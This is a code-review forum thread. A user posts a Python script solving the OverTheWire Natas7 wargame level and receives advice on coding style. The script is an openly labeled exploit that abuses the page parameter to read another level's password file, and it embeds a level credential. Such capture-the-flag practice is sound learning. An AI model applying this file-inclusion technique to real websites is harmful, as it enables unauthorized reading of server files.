6
\$\begingroup\$

This is a addition to my previous question earlier today.

I've taken the suggested changes into account and have written a solution to Natas7, a problem that requires some more 'meat' on what I'd consider quite a barebone solution in the previous question.

As with the previous question I'm more keen on knowing if I'm following good coding standard and if there are any potential performance issues.

Here is the script:

import requests, re
from requests.auth import HTTPBasicAuth

HOST = 'http://natas7.natas.labs.overthewire.org/index.php?page=about'
KEYWORD = 'natas8'
PATTERN = re.compile("^([A-Za-z0-9]{32})$")

def get_path(host, credentials):
    """
    This will serve up the path to the password
    using some basic scraping techniques
    :param host:
    :param credentials:
    :return: The path to the password
    """

    try:
        response = requests.get(host, auth=HTTPBasicAuth(*credentials))
        response_lines = response.content.split('\n')
        return next((line.split()[-2:][0] for line in response_lines if 'hint'in line),
                    "Couldn't find hint...")
    except requests.RequestException as e:
        print(e)
def exploit(host, credentials):
    """
    The actual exploit. This will attempt
    to find a string that matches the global 
    regex pattern PATTERN.
    :param host:
    :param credentials:
    :return: The password, if one is found
    """

    try:
        response = requests.get(host, auth=HTTPBasicAuth(*credentials))
        response_lines = response.content.decode('ascii').split('\n')
        return next((line for line in response_lines if PATTERN.match(line)),
                    "Couldn't find the password...")

    except requests.RequestException as e:
        print(e)

def main():
    global HOST
    credentials = ('natas7', '7z3hEENjQtflzgnT29q7wAvMNfZdh0i9')
    path = get_path(HOST, credentials)
    HOST = (HOST.split('='))
    HOST = HOST[0] + '=' + path
    print(KEYWORD + ":" + exploit(HOST, credentials))

if __name__ == '__main__':
    main()
\$\endgroup\$
  • \$\begingroup\$ This throws an error for me (line 19, in get_path response_lines = response.content.split('\n') TypeError: a bytes-like object is required, not 'str') \$\endgroup\$ – Daniel Jun 15 '17 at 5:47
4
\$\begingroup\$

Just a few points of advice:

  • avoid using globals. The reason they are bad is that they allow functions to have hidden (as in non-obvious and undeclared) and thus hard to understand side effects. Also, this can lead to spaghetti code.
  • try to use str.format when you print out strings:

    print(KEYWORD + ":" + exploit(HOST, credentials))
    

    should be:

    print('{}:{}'.format(KEYWORD, exploit(HOST, credentials)))
    
  • your docstrings are partially good. I'm saying partially because telling me things that I already know isn't helping. For example, :param host: or :param credentials:. I already know these are parameters to that function. You could at least specify the data structure they denote.

  • consider rewriting this:

    (line for line in response_lines if PATTERN.match(line))
    

    like this:

    (line 
    for line in response_lines 
    if PATTERN.match(line))
    

    The reason I like writing it like this is that it allows you to see more easily that you've changed you're code (on a svn / git repo).

\$\endgroup\$
  • \$\begingroup\$ Thanks for taking your time to give me such great feedback! I'm really hoping to get into pentesting and really want to leverage my Python skills whilst doing so. Overall would you say it's a decent solution? About the globals I used them simply because the answer on the previous question (mentioned in this question) suggested it. The docstring is automatically created by IntelliJ, so I assumed it would be a good base to start off from. :) \$\endgroup\$ – geostocker Jun 14 '17 at 8:49

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.